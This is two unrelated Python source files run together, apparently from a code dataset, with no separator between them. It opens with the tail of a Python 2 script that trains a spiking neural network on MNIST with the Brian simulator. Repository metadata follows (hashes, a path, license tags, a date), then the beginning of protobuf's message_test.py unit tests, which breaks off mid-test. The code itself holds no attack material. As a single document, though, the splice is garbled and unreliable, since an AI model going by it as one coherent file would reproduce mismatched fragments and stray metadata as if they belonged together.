parser.add_argument('--proportion_grow', type=float, default=1.0, help='What proportion of \ the training to grow the inhibition from "start_inhib" to "max_inhib".') parser.add_argument('--noise_const', type=float, default=0.0, help='The scale of the \ noise added to input examples.') parser.add_argument('--inhib_scheme', type=str, default='increasing', help='How inhibition from \ inhibitory to excitatory neurons is handled.') parser.add_argument('--weights_noise', type=str, default='False', help='Whether to use multiplicative \ Gaussian noise on synapse weights on each iteration.') parser.add_argument('--weights_noise_constant', type=float, default=1e-2, help='The spread of the \ Gaussian noise used on synapse weights ') parser.add_argument('--start_input_intensity', type=float, default=2.0, help='The intensity at which the \ input is (default) presented to the network.') parser.add_argument('--test_adaptive_threshold', type=str, default='False', help='Whether or not to allow \ neuron thresholds to adapt during the test phase.') parser.add_argument('--train_time', type=float, default=0.35, help='How long training \ inputs are presented to the network.') parser.add_argument('--train_rest', type=float, default=0.15, help='How long the network is allowed \ to settle back to equilibrium between training examples.') parser.add_argument('--test_time', type=float, default=0.35, help='How long test \ inputs are presented to the network.') parser.add_argument('--test_rest', type=float, default=0.15, help='How long the network is allowed \ to settle back to equilibrium between test examples.') parser.add_argument('--dt', type=float, default=0.25, help='Integration time step in milliseconds.') parser.add_argument('--lr_decrease', type=float, default=0.99, help='Multiplicative decrease constant \ for pre- and post-synaptic learning rates.') parser.add_argument('--nu_ee_pre', type=float, default=0.0005, help='Pre-synaptic initial learning rate.') parser.add_argument('--nu_ee_post', type=float, default=0.05, help='Post-synaptic initial learning rate.') # parse arguments and place them in local scope args = parser.parse_args() args = vars(args) locals().update(args) print '\nOptional argument values:' for key, value in args.items(): print '-', key, ':', value print '\n' for var in [ 'do_plot', 'plot_all_deltas', 'reset_state_vars', 'test_max_inhibition', \ 'normalize_inputs', 'save_weights', 'save_best_model', 'test_no_inhibition', \ 'save_spikes', 'weights_noise', 'test_adaptive_threshold' ]: if locals()[var] == 'True': locals()[var] = True elif locals()[var] == 'False': locals()[var] = False else: raise Exception('Expecting True or False-valued command line argument "' + var + '".') # test or training mode test_mode = mode == 'test' if test_mode: num_examples = num_test else: num_examples = num_train if test_mode: data_size = 10000 else: data_size = 60000 if inhib_schedule == 'linear': inhib_increase = ((max_inhib - start_inhib) / float(num_train * proportion_grow) * inhib_update_interval) elif inhib_schedule == 'log': num_updates = num_train / inhib_update_interval c = max_inhib / log(1 + num_updates) inhib_increase = [ c * np.log(1 + t) for t in xrange(num_updates) ] else: raise Exception('Exception one of "linear" or "log" for argument "inhib_schedule".') # set brian global preferences b.set_global_preferences(defaultclock = b.Clock(dt=dt*b.ms), useweave = True, gcc_options = ['-ffast-math -march=native'], usecodegen = True, usecodegenweave = True, usecodegenstateupdate = True, usecodegenthreshold = False, usenewpropagate = True, usecstdp = True, openmp = False, magic_useframes = False, useweave_linear_diffeq = True) # for reproducibility's sake np.random.seed(random_seed) start = timeit.default_timer() data = get_labeled_data(os.path.join(MNIST_data_path, 'testing' if test_mode else 'training'), not test_mode, False, xrange(10), 1000, normalize_inputs) print 'Time needed to load data:', timeit.default_timer() - start # set parameters for simulation based on train / test mode record_spikes = True # number of inputs to the network n_input = 784 n_input_sqrt = int(math.sqrt(n_input)) # number of neurons parameters if conv_size == 28 and conv_stride == 0: n_e = 1 else: n_e = ((n_input_sqrt - conv_size) / conv_stride + 1) ** 2 n_e_total = n_e * conv_features n_e_sqrt = int(math.sqrt(n_e)) n_i = n_e features_sqrt = int(math.ceil(math.sqrt(conv_features))) # time (in seconds) per data example presentation and rest period in between if not test_mode: single_example_time = train_time * b.second resting_time = train_rest * b.second else: single_example_time = test_time * b.second resting_time = test_rest * b.second # set the update interval if test_mode: update_interval = num_examples # weight updates and progress printing intervals print_progress_interval = 10 # rest potential parameters, reset potential parameters, threshold potential parameters, and refractory periods v_rest_e, v_rest_i = -65. * b.mV, -60. * b.mV v_reset_e, v_reset_i = -65. * b.mV, -45. * b.mV v_thresh_e, v_thresh_i = -52. * b.mV, -40. * b.mV refrac_e, refrac_i = 5. * b.ms, 2. * b.ms # dictionaries for weights and delays weight, delay = {}, {} # populations, connections, saved connections, etc. input_population_names = [ 'X' ] population_names = [ 'A' ] input_connection_names = [ 'XA' ] save_conns = [ 'XeAe', 'AeAe' ] # weird and bad names for variables, I think input_conn_names = [ 'ee_input' ] recurrent_conn_names = [ 'ei', 'ie', 'ee' ] # setting weight, delay, and intensity parameters weight['ee_input'] = (conv_size ** 2) * 0.099489796 delay['ee_input'] = (0 * b.ms, 10 * b.ms) delay['ei_input'] = (0 * b.ms, 5 * b.ms) input_intensity = start_input_intensity current_inhibition = 1.0 # time constants, learning rates, max weights, weight dependence, etc. tc_pre_ee, tc_post_ee = 20 * b.ms, 20 * b.ms wmax_ee = 1.0 exp_ee_post = exp_ee_pre = 0.2 w_mu_pre, w_mu_post = 0.2, 0.2 # setting up differential equations (depending on train / test mode) if test_mode and not test_adaptive_threshold: scr_e = 'v = v_reset_e; timer = 0*ms' else: tc_theta = 1e7 * b.ms theta_plus_e = 0.05 * b.mV scr_e = 'v = v_reset_e; theta += theta_plus_e; timer = 0*ms' offset = 20.0 * b.mV v_thresh_e = '(v>(theta - offset + ' + str(v_thresh_e) + ')) * (timer>refrac_e)' # equations for neurons neuron_eqs_e = ''' dv/dt = ((v_rest_e - v) + (I_synE + I_synI) / nS) / (100 * ms) : volt I_synE = ge * nS * -v : amp I_synI = gi * nS * (-100.*mV-v) : amp dge/dt = -ge/(1.0*ms) : 1 dgi/dt = -gi/(2.0*ms) : 1 ''' if test_mode: neuron_eqs_e += '\n theta :volt' else: neuron_eqs_e += '\n dtheta/dt = -theta / (tc_theta) : volt' neuron_eqs_e += '\n dtimer/dt = 100.0 : ms' neuron_eqs_i = ''' dv/dt = ((v_rest_i - v) + (I_synE + I_synI) / nS) / (10*ms) : volt I_synE = ge * nS * -v : amp I_synI = gi * nS * (-85.*mV-v) : amp dge/dt = -ge/(1.0*ms) : 1 dgi/dt = -gi/(2.0*ms) : 1 ''' # STDP synaptic traces eqs_stdp_ee = ''' dpre/dt = -pre / tc_pre_ee : 1.0 dpost/dt = -post / tc_post_ee : 1.0 ''' # STDP rule (post-pre, no weight dependence) eqs_stdp_pre_ee = 'pre = 1.; w -= nu_ee_pre * post' eqs_stdp_post_ee = 'w += nu_ee_post * pre; post = 1.' print '\n' # set ending of filename saves ending = '_'.join([ str(conv_size), str(conv_stride), str(conv_features), str(n_e), \ str(num_train), str(random_seed), str(normalize_inputs), str(proportion_grow), str(noise_const), str(lr_decrease) ]) b.ion() fig_num = 1 # creating dictionaries for various objects neuron_groups, input_groups, connections, input_connections, stdp_methods, \ rate_monitors, spike_monitors, spike_counters, output_numbers = {}, {}, {}, {}, {}, {}, {}, {}, {} # creating convolution locations inside the input image convolution_locations = {} for n in xrange(n_e): convolution_locations[n] = [ ((n % n_e_sqrt) * conv_stride + (n // n_e_sqrt) * n_input_sqrt * \ conv_stride) + (x * n_input_sqrt) + y for y in xrange(conv_size) for x in xrange(conv_size) ] # instantiating neuron "vote" monitor result_monitor = np.zeros((update_interval, conv_features, n_e)) # bookkeeping variables previous_spike_count = np.zeros((conv_features, n_e)) input_numbers = np.zeros(num_examples) rates = np.zeros((n_input_sqrt, n_input_sqrt)) if test_mode: assignments = np.load(os.path.join(best_assignments_dir, '_'.join(['assignments', ending, 'best.npy']))) accumulated_rates = np.load(os.path.join(best_misc_dir, '_'.join(['accumulated_rates', ending, 'best.npy']))) spike_proportions = np.load(os.path.join(best_misc_dir, '_'.join(['spike_proportions', ending, 'best.npy']))) else: assignments = -1 * np.ones((conv_features, n_e)) # build the spiking neural network build_network() if test_mode: voting_schemes = ['all', 'all_active', 'most_spiked_patch', 'most_spiked_location', 'confidence_weighting', \ 'activity_neighborhood', 'most_spiked_neighborhood', 'distance'] else: voting_schemes = ['all', 'all_active', 'most_spiked_patch', 'most_spiked_location', \ 'confidence_weighting', 'activity_neighborhood', 'most_spiked_neighborhood'] for scheme in voting_schemes: output_numbers[scheme] = np.zeros((num_examples, 10)) if not test_mode: accumulated_rates = np.zeros((conv_features * n_e, 10)) accumulated_inputs = np.zeros(10) spike_proportions = np.zeros((conv_features * n_e, 10)) # run the simulation of the network if test_mode: run_test() else: run_train() # save and plot results save_results() # evaluate results if test_mode: evaluate_results()
f8b027a671cde683c7588e98703b1f4ea36ea8f4
d324b3d4ce953574c5945cda64e179f33c36c71b
/php/php-sky/grpc/third_party/protobuf/python/google/protobuf/internal/message_test.py
61c6de625dc92a46dc6deabeb6dc937a82793efa
[ "Apache-2.0", "LicenseRef-scancode-protobuf" ]
permissive
Denticle/docker-base
decc36cc8eb01be1157d0c0417958c2c80ac0d2f
232115202594f4ea334d512dffb03f34451eb147
refs/heads/main
2023-04-21T10:08:29.582031
2021-05-13T07:27:52
2021-05-13T07:27:52
320,431,033
1
1
null
null
null
null
UTF-8
Python
false
false
112,318
py
#! /usr/bin/env python # -*- coding: utf-8 -*- # # Protocol Buffers - Google's data interchange format # Copyright 2008 Google Inc. All rights reserved. # https://developers.google.com/protocol-buffers/ # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above # copyright notice, this list of conditions and the following disclaimer # in the documentation and/or other materials provided with the # distribution. # * Neither the name of Google Inc. nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. """Tests python protocol buffers against the golden message. Note that the golden messages exercise every known field type, thus this test ends up exercising and verifying nearly all of the parsing and serialization code in the whole library. TODO(kenton): Merge with wire_format_test? It doesn't make a whole lot of sense to call this a test of the "message" module, which only declares an abstract interface. """ __author__ = '[email protected] (Gregory P. Smith)' import copy import math import operator import pickle import pydoc import six import sys import warnings try: # Since python 3 import collections.abc as collections_abc except ImportError: # Won't work after python 3.8 import collections as collections_abc try: import unittest2 as unittest # PY26 except ImportError: import unittest try: cmp # Python 2 except NameError: cmp = lambda x, y: (x > y) - (x < y) # Python 3 from google.protobuf import map_proto2_unittest_pb2 from google.protobuf import map_unittest_pb2 from google.protobuf import unittest_pb2 from google.protobuf import unittest_proto3_arena_pb2 from google.protobuf import descriptor_pb2 from google.protobuf import descriptor_pool from google.protobuf import message_factory from google.protobuf import text_format from google.protobuf.internal import api_implementation from google.protobuf.internal import encoder from google.protobuf.internal import more_extensions_pb2 from google.protobuf.internal import packed_field_test_pb2 from google.protobuf.internal import test_util from google.protobuf.internal import test_proto3_optional_pb2 from google.protobuf.internal import testing_refleaks from google.protobuf import message from google.protobuf.internal import _parameterized UCS2_MAXUNICODE = 65535 if six.PY3: long = int # Python pre-2.6 does not have isinf() or isnan() functions, so we have # to provide our own. def isnan(val): # NaN is never equal to itself. return val != val def isinf(val): # Infinity times zero equals NaN. return not isnan(val) and isnan(val * 0) def IsPosInf(val): return isinf(val) and (val > 0) def IsNegInf(val): return isinf(val) and (val < 0) warnings.simplefilter('error', DeprecationWarning) @_parameterized.named_parameters( ('_proto2', unittest_pb2), ('_proto3', unittest_proto3_arena_pb2)) @testing_refleaks.TestCase class MessageTest(unittest.TestCase): def testBadUtf8String(self, message_module): if api_implementation.Type() != 'python': self.skipTest("Skipping testBadUtf8String, currently only the python " "api implementation raises UnicodeDecodeError when a " "string field contains bad utf-8.") bad_utf8_data = test_util.GoldenFileData('bad_utf8_string') with self.assertRaises(UnicodeDecodeError) as context: message_module.TestAllTypes.FromString(bad_utf8_data) self.assertIn('TestAllTypes.optional_string', str(context.exception)) def testGoldenMessage(self, message_module): # Proto3 doesn't have the "default_foo" members or foreign enums, # and doesn't preserve unknown fields, so for proto3 we use a golden # message that doesn't have these fields set. if message_module is unittest_pb2: golden_data = test_util.GoldenFileData( 'golden_message_oneof_implemented') else: golden_data = test_util.GoldenFileData('golden_message_proto3') golden_message = message_module.TestAllTypes() golden_message.ParseFromString(golden_data) if message_module is unittest_pb2: test_util.ExpectAllFieldsSet(self, golden_message) self.assertEqual(golden_data, golden_message.SerializeToString()) golden_copy = copy.deepcopy(golden_message) self.assertEqual(golden_data, golden_copy.SerializeToString()) def testGoldenPackedMessage(self, message_module): golden_data = test_util.GoldenFileData('golden_packed_fields_message') golden_message = message_module.TestPackedTypes() parsed_bytes = golden_message.ParseFromString(golden_data) all_set = message_module.TestPackedTypes() test_util.SetAllPackedFields(all_set) self.assertEqual(parsed_bytes, len(golden_data)) self.assertEqual(all_set, golden_message) self.assertEqual(golden_data, all_set.SerializeToString()) golden_copy = copy.deepcopy(golden_message) self.assertEqual(golden_data, golden_copy.SerializeToString()) def testParseErrors(self, message_module): msg = message_module.TestAllTypes() self.assertRaises(TypeError, msg.FromString, 0) self.assertRaises(Exception, msg.FromString, '0') # TODO(jieluo): Fix cpp extension to raise error instead of warning. # b/27494216 end_tag = encoder.TagBytes(1, 4) if api_implementation.Type() == 'python': with self.assertRaises(message.DecodeError) as context: msg.FromString(end_tag) self.assertEqual('Unexpected end-group tag.', str(context.exception)) # Field number 0 is illegal. self.assertRaises(message.DecodeError, msg.FromString, b'\3\4') def testDeterminismParameters(self, message_module): # This message is always deterministically serialized, even if determinism # is disabled, so we can use it to verify that all the determinism # parameters work correctly. golden_data = (b'\xe2\x02\nOne string' b'\xe2\x02\nTwo string' b'\xe2\x02\nRed string' b'\xe2\x02\x0bBlue string') golden_message = message_module.TestAllTypes() golden_message.repeated_string.extend([ 'One string', 'Two string', 'Red string', 'Blue string', ]) self.assertEqual(golden_data, golden_message.SerializeToString(deterministic=None)) self.assertEqual(golden_data, golden_message.SerializeToString(deterministic=False)) self.assertEqual(golden_data, golden_message.SerializeToString(deterministic=True)) class BadArgError(Exception): pass class BadArg(object): def __nonzero__(self): raise BadArgError() def __bool__(self): raise BadArgError() with self.assertRaises(BadArgError): golden_message.SerializeToString(deterministic=BadArg()) def testPickleSupport(self, message_module): golden_data = test_util.GoldenFileData('golden_message') golden_message = message_module.TestAllTypes() golden_message.ParseFromString(golden_data) pickled_message = pickle.dumps(golden_message) unpickled_message = pickle.loads(pickled_message) self.assertEqual(unpickled_message, golden_message) def testPickleNestedMessage(self, message_module): golden_message = message_module.TestPickleNestedMessage.NestedMessage(bb=1) pickled_message = pickle.dumps(golden_message) unpickled_message = pickle.loads(pickled_message) self.assertEqual(unpickled_message, golden_message) def testPickleNestedNestedMessage(self, message_module): cls = message_module.TestPickleNestedMessage.NestedMessage golden_message = cls.NestedNestedMessage(cc=1) pickled_message = pickle.dumps(golden_message) unpickled_message = pickle.loads(pickled_message) self.assertEqual(unpickled_message, golden_message) def testPositiveInfinity(self, message_module): if message_module is unittest_pb2: golden_data = (b'\x5D\x00\x00\x80\x7F' b'\x61\x00\x00\x00\x00\x00\x00\xF0\x7F' b'\xCD\x02\x00\x00\x80\x7F' b'\xD1\x02\x00\x00\x00\x00\x00\x00\xF0\x7F') else: golden_data = (b'\x5D\x00\x00\x80\x7F' b'\x61\x00\x00\x00\x00\x00\x00\xF0\x7F' b'\xCA\x02\x04\x00\x00\x80\x7F' b'\xD2\x02\x08\x00\x00\x00\x00\x00\x00\xF0\x7F') golden_message = message_module.TestAllTypes() golden_message.ParseFromString(golden_data) self.assertTrue(IsPosInf(golden_message.optional_float)) self.assertTrue(IsPosInf(golden_message.optional_double)) self.assertTrue(IsPosInf(golden_message.repeated_float[0])) self.assertTrue(IsPosInf(golden_message.repeated_double[0])) self.assertEqual(golden_data, golden_message.SerializeToString()) def testNegativeInfinity(self, message_module): if message_module is unittest_pb2: golden_data = (b'\x5D\x00\x00\x80\xFF' b'\x61\x00\x00\x00\x00\x00\x00\xF0\xFF' b'\xCD\x02\x00\x00\x80\xFF' b'\xD1\x02\x00\x00\x00\x00\x00\x00\xF0\xFF') else: golden_data = (b'\x5D\x00\x00\x80\xFF' b'\x61\x00\x00\x00\x00\x00\x00\xF0\xFF' b'\xCA\x02\x04\x00\x00\x80\xFF' b'\xD2\x02\x08\x00\x00\x00\x00\x00\x00\xF0\xFF') golden_message = message_module.TestAllTypes() golden_message.ParseFromString(golden_data) self.assertTrue(IsNegInf(golden_message.optional_float)) self.assertTrue(IsNegInf(golden_message.optional_double)) self.assertTrue(IsNegInf(golden_message.repeated_float[0])) self.assertTrue(IsNegInf(golden_message.repeated_double[0])) self.assertEqual(golden_data, golden_message.SerializeToString()) def testNotANumber(self, message_module): golden_data = (b'\x5D\x00\x00\xC0\x7F' b'\x61\x00\x00\x00\x00\x00\x00\xF8\x7F' b'\xCD\x02\x00\x00\xC0\x7F' b'\xD1\x02\x00\x00\x00\x00\x00\x00\xF8\x7F') golden_message = message_module.TestAllTypes() golden_message.ParseFromString(golden_data) self.assertTrue(isnan(golden_message.optional_float)) self.assertTrue(isnan(golden_message.optional_double)) self.assertTrue(isnan(golden_message.repeated_float[0])) self.assertTrue(isnan(golden_message.repeated_double[0])) # The protocol buffer may serialize to any one of multiple different # representations of a NaN. Rather than verify a specific representation, # verify the serialized string can be converted into a correctly # behaving protocol buffer. serialized = golden_message.SerializeToString() message = message_module.TestAllTypes() message.ParseFromString(serialized) self.assertTrue(isnan(message.optional_float)) self.assertTrue(isnan(message.optional_double)) self.assertTrue(isnan(message.repeated_float[0])) self.assertTrue(isnan(message.repeated_double[0])) def testPositiveInfinityPacked(self, message_module): golden_data = (b'\xA2\x06\x04\x00\x00\x80\x7F' b'\xAA\x06\x08\x00\x00\x00\x00\x00\x00\xF0\x7F') golden_message = message_module.TestPackedTypes() golden_message.ParseFromString(golden_data) self.assertTrue(IsPosInf(golden_message.packed_float[0])) self.assertTrue(IsPosInf(golden_message.packed_double[0])) self.assertEqual(golden_data, golden_message.SerializeToString()) def testNegativeInfinityPacked(self, message_module): golden_data = (b'\xA2\x06\x04\x00\x00\x80\xFF' b'\xAA\x06\x08\x00\x00\x00\x00\x00\x00\xF0\xFF') golden_message = message_module.TestPackedTypes() golden_message.ParseFromString(golden_data) self.assertTrue(IsNegInf(golden_message.packed_float[0])) self.assertTrue(IsNegInf(golden_message.packed_double[0])) self.assertEqual(golden_data, golden_message.SerializeToString()) def testNotANumberPacked(self, message_module): golden_data = (b'\xA2\x06\x04\x00\x00\xC0\x7F' b'\xAA\x06\x08\x00\x00\x00\x00\x00\x00\xF8\x7F') golden_message = message_module.TestPackedTypes() golden_message.ParseFromString(golden_data) self.assertTrue(isnan(golden_message.packed_float[0])) self.assertTrue(isnan(golden_message.packed_double[0])) serialized = golden_message.SerializeToString() message = message_module.TestPackedTypes() message.ParseFromString(serialized) self.assertTrue(isnan(message.packed_float[0])) self.assertTrue(isnan(message.packed_double[0])) def testExtremeFloatValues(self, message_module): message = message_module.TestAllTypes() # Most positive exponent, no significand bits set. kMostPosExponentNoSigBits = math.pow(2, 127) message.optional_float = kMostPosExponentNoSigBits message.ParseFromString(message.SerializeToString()) self.assertTrue(message.optional_float == kMostPosExponentNoSigBits) # Most positive exponent, one significand bit set. kMostPosExponentOneSigBit = 1.5 * math.pow(2, 127) message.optional_float = kMostPosExponentOneSigBit message.ParseFromString(message.SerializeToString()) self.assertTrue(message.optional_float == kMostPosExponentOneSigBit) # Repeat last two cases with values of same magnitude, but negative. message.optional_float = -kMostPosExponentNoSigBits message.ParseFromString(message.SerializeToString()) self.assertTrue(message.optional_float == -kMostPosExponentNoSigBits) message.optional_float = -kMostPosExponentOneSigBit message.ParseFromString(message.SerializeToString()) self.assertTrue(message.optional_float == -kMostPosExponentOneSigBit) # Most negative exponent, no significand bits set. kMostNegExponentNoSigBits = math.pow(2, -127) message.optional_float = kMostNegExponentNoSigBits message.ParseFromString(message.SerializeToString()) self.assertTrue(message.optional_float == kMostNegExponentNoSigBits) # Most negative exponent, one significand bit set. kMostNegExponentOneSigBit = 1.5 * math.pow(2, -127) message.optional_float = kMostNegExponentOneSigBit message.ParseFromString(message.SerializeToString()) self.assertTrue(message.optional_float == kMostNegExponentOneSigBit) # Repeat last two cases with values of the same magnitude, but negative. message.optional_float = -kMostNegExponentNoSigBits message.ParseFromString(message.SerializeToString()) self.assertTrue(message.optional_float == -kMostNegExponentNoSigBits) message.optional_float = -kMostNegExponentOneSigBit message.ParseFromString(message.SerializeToString()) self.assertTrue(message.optional_float == -kMostNegExponentOneSigBit) # Max 4 bytes float value max_float = float.fromhex('0x1.fffffep+127') message.optional_float = max_float self.assertAlmostEqual(message.optional_float, max_float) serialized_data = message.SerializeToString() message.ParseFromString(serialized_data) self.assertAlmostEqual(message.optional_float, max_float) # Test set double to float field. message.optional_float = 3.4028235e+39 self.assertEqual(message.optional_float, float('inf')) serialized_data = message.SerializeToString() message.ParseFromString(serialized_data) self.assertEqual(message.optional_float, float('inf')) message.optional_float = -3.4028235e+39 self.assertEqual(message.optional_float, float('-inf')) message.optional_float = 1.4028235e-39 self.assertAlmostEqual(message.optional_float, 1.4028235e-39) def testExtremeDoubleValues(self, message_module): message = message_module.TestAllTypes() # Most positive exponent, no significand bits set. kMostPosExponentNoSigBits = math.pow(2, 1023) message.optional_double = kMostPosExponentNoSigBits message.ParseFromString(message.SerializeToString()) self.assertTrue(message.optional_double == kMostPosExponentNoSigBits) # Most positive exponent, one significand bit set. kMostPosExponentOneSigBit = 1.5 * math.pow(2, 1023) message.optional_double = kMostPosExponentOneSigBit message.ParseFromString(message.SerializeToString()) self.assertTrue(message.optional_double == kMostPosExponentOneSigBit) # Repeat last two cases with values of same magnitude, but negative. message.optional_double = -kMostPosExponentNoSigBits message.ParseFromString(message.SerializeToString()) self.assertTrue(message.optional_double == -kMostPosExponentNoSigBits) message.optional_double = -kMostPosExponentOneSigBit message.ParseFromString(message.SerializeToString()) self.assertTrue(message.optional_double == -kMostPosExponentOneSigBit) # Most negative exponent, no significand bits set. kMostNegExponentNoSigBits = math.pow(2, -1023) message.optional_double = kMostNegExponentNoSigBits message.ParseFromString(message.SerializeToString()) self.assertTrue(message.optional_double == kMostNegExponentNoSigBits) # Most negative exponent, one significand bit set. kMostNegExponentOneSigBit = 1.5 * math.pow(2, -1023) message.optional_double = kMostNegExponentOneSigBit message.ParseFromString(message.SerializeToString()) self.assertTrue(message.optional_double == kMostNegExponentOneSigBit) # Repeat last two cases with values of the same magnitude, but negative. message.optional_double = -kMostNegExponentNoSigBits message.ParseFromString(message.SerializeToString()) self.assertTrue(message.optional_double == -kMostNegExponentNoSigBits) message.optional_double = -kMostNegExponentOneSigBit message.ParseFromString(message.SerializeToString()) self.assertTrue(message.optional_double == -kMostNegExponentOneSigBit) def testFloatPrinting(self, message_module): message = message_module.TestAllTypes() message.optional_float = 2.0 self.assertEqual(str(message), 'optional_float: 2.0\n') def testHighPrecisionFloatPrinting(self, message_module): msg = message_module.TestAllTypes() msg.optional_float = 0.12345678912345678 old_float = msg.optional_float msg.ParseFromString(msg.SerializeToString()) self.assertEqual(old_float, msg.optional_float) def testHighPrecisionDoublePrinting(self, message_module): msg = message_module.TestAllTypes() msg.optional_double = 0.12345678912345678 if sys.version_info >= (3,): self.assertEqual(str(msg), 'optional_double: 0.12345678912345678\n') else: self.assertEqual(str(msg), 'optional_double: 0.123456789123\n') def testUnknownFieldPrinting(self, message_module): populated = message_module.TestAllTypes() test_util.SetAllNonLazyFields(populated) empty = message_module.TestEmptyMessage() empty.ParseFromString(populated.SerializeToString()) self.assertEqual(str(empty), '') def testAppendRepeatedCompositeField(self, message_module): msg = message_module.TestAllTypes() msg.repeated_nested_message.append( message_module.TestAllTypes.NestedMessage(bb=1)) nested = message_module.TestAllTypes.NestedMessage(bb=2) msg.repeated_nested_message.append(nested) try: msg.repeated_nested_message.append(1) except TypeError: pass self.assertEqual(2, len(msg.repeated_nested_message)) self.assertEqual([1, 2], [m.bb for m in msg.repeated_nested_message]) def testInsertRepeatedCompositeField(self, message_module): msg = message_module.TestAllTypes() msg.repeated_nested_message.insert( -1, message_module.TestAllTypes.NestedMessage(bb=1)) sub_msg = msg.repeated_nested_message[0] msg.repeated_nested_message.insert( 0, message_module.TestAllTypes.NestedMessage(bb=2)) msg.repeated_nested_message.insert( 99, message_module.TestAllTypes.NestedMessage(bb=3)) msg.repeated_nested_message.insert( -2, message_module.TestAllTypes.NestedMessage(bb=-1)) msg.repeated_nested_message.insert( -1000, message_module.TestAllTypes.NestedMessage(bb=-1000)) try: msg.repeated_nested_message.insert(1, 999) except TypeError: pass self.assertEqual(5, len(msg.repeated_nested_message)) self.assertEqual([-1000, 2, -1, 1, 3], [m.bb for m in msg.repeated_nested_message]) self.assertEqual(str(msg), 'repeated_nested_message {\n' ' bb: -1000\n' '}\n' 'repeated_nested_message {\n' ' bb: 2\n' '}\n' 'repeated_nested_message {\n' ' bb: -1\n' '}\n' 'repeated_nested_message {\n' ' bb: 1\n' '}\n' 'repeated_nested_message {\n' ' bb: 3\n' '}\n') self.assertEqual(sub_msg.bb, 1) def testMergeFromRepeatedField(self, message_module): msg = message_module.TestAllTypes() msg.repeated_int32.append(1) msg.repeated_int32.append(3) msg.repeated_nested_message.add(bb=1) msg.repeated_nested_message.add(bb=2) other_msg = message_module.TestAllTypes() other_msg.repeated_nested_message.add(bb=3) other_msg.repeated_nested_message.add(bb=4) other_msg.repeated_int32.append(5) other_msg.repeated_int32.append(7) msg.repeated_int32.MergeFrom(other_msg.repeated_int32) self.assertEqual(4, len(msg.repeated_int32)) msg.repeated_nested_message.MergeFrom(other_msg.repeated_nested_message) self.assertEqual([1, 2, 3, 4], [m.bb for m in msg.repeated_nested_message]) def testAddWrongRepeatedNestedField(self, message_module): msg = message_module.TestAllTypes() try: msg.repeated_nested_message.add('wrong') except TypeError: pass try: msg.repeated_nested_message.add(value_field='wrong') except ValueError: pass self.assertEqual(len(msg.repeated_nested_message), 0) def testRepeatedContains(self, message_module): msg = message_module.TestAllTypes() msg.repeated_int32.extend([1, 2, 3]) self.assertIn(2, msg.repeated_int32) self.assertNotIn(0, msg.repeated_int32) msg.repeated_nested_message.add(bb=1) sub_msg1 = msg.repeated_nested_message[0] sub_msg2 = message_module.TestAllTypes.NestedMessage(bb=2) sub_msg3 = message_module.TestAllTypes.NestedMessage(bb=3) msg.repeated_nested_message.append(sub_msg2) msg.repeated_nested_message.insert(0, sub_msg3) self.assertIn(sub_msg1, msg.repeated_nested_message) self.assertIn(sub_msg2, msg.repeated_nested_message) self.assertIn(sub_msg3, msg.repeated_nested_message) def testRepeatedScalarIterable(self, message_module): msg = message_module.TestAllTypes() msg.repeated_int32.extend([1, 2, 3]) add = 0 for item in msg.repeated_int32: add += item self.assertEqual(add, 6) def testRepeatedNestedFieldIteration(self, message_module): msg = message_module.TestAllTypes() msg.repeated_nested_message.add(bb=1) msg.repeated_nested_message.add(bb=2) msg.repeated_nested_message.add(bb=3) msg.repeated_nested_message.add(bb=4) self.assertEqual([1, 2, 3, 4], [m.bb for m in msg.repeated_nested_message]) self.assertEqual([4, 3, 2, 1], [m.bb for m in reversed(msg.repeated_nested_message)]) self.assertEqual([4, 3, 2, 1], [m.bb for m in msg.repeated_nested_message[::-1]]) def testSortingRepeatedScalarFieldsDefaultComparator(self, message_module): """Check some different types with the default comparator.""" message = message_module.TestAllTypes() # TODO(mattp): would testing more scalar types strengthen test? message.repeated_int32.append(1) message.repeated_int32.append(3) message.repeated_int32.append(2) message.repeated_int32.sort() self.assertEqual(message.repeated_int32[0], 1) self.assertEqual(message.repeated_int32[1], 2) self.assertEqual(message.repeated_int32[2], 3) self.assertEqual(str(message.repeated_int32), str([1, 2, 3])) message.repeated_float.append(1.1) message.repeated_float.append(1.3) message.repeated_float.append(1.2) message.repeated_float.sort() self.assertAlmostEqual(message.repeated_float[0], 1.1) self.assertAlmostEqual(message.repeated_float[1], 1.2) self.assertAlmostEqual(message.repeated_float[2], 1.3) message.repeated_string.append('a') message.repeated_string.append('c') message.repeated_string.append('b') message.repeated_string.sort() self.assertEqual(message.repeated_string[0], 'a') self.assertEqual(message.repeated_string[1], 'b') self.assertEqual(message.repeated_string[2], 'c') self.assertEqual(str(message.repeated_string), str([u'a', u'b', u'c'])) message.repeated_bytes.append(b'a') message.repeated_bytes.append(b'c') message.repeated_bytes.append(b'b') message.repeated_bytes.sort() self.assertEqual(message.repeated_bytes[0], b'a') self.assertEqual(message.repeated_bytes[1], b'b') self.assertEqual(message.repeated_bytes[2], b'c') self.assertEqual(str(message.repeated_bytes), str([b'a', b'b', b'c'])) def testSortingRepeatedScalarFieldsCustomComparator(self, message_module): """Check some different types with custom comparator.""" message = message_module.TestAllTypes() message.repeated_int32.append(-3) message.repeated_int32.append(-2) message.repeated_int32.append(-1) message.repeated_int32.sort(key=abs) self.assertEqual(message.repeated_int32[0], -1) self.assertEqual(message.repeated_int32[1], -2) self.assertEqual(message.repeated_int32[2], -3) message.repeated_string.append('aaa') 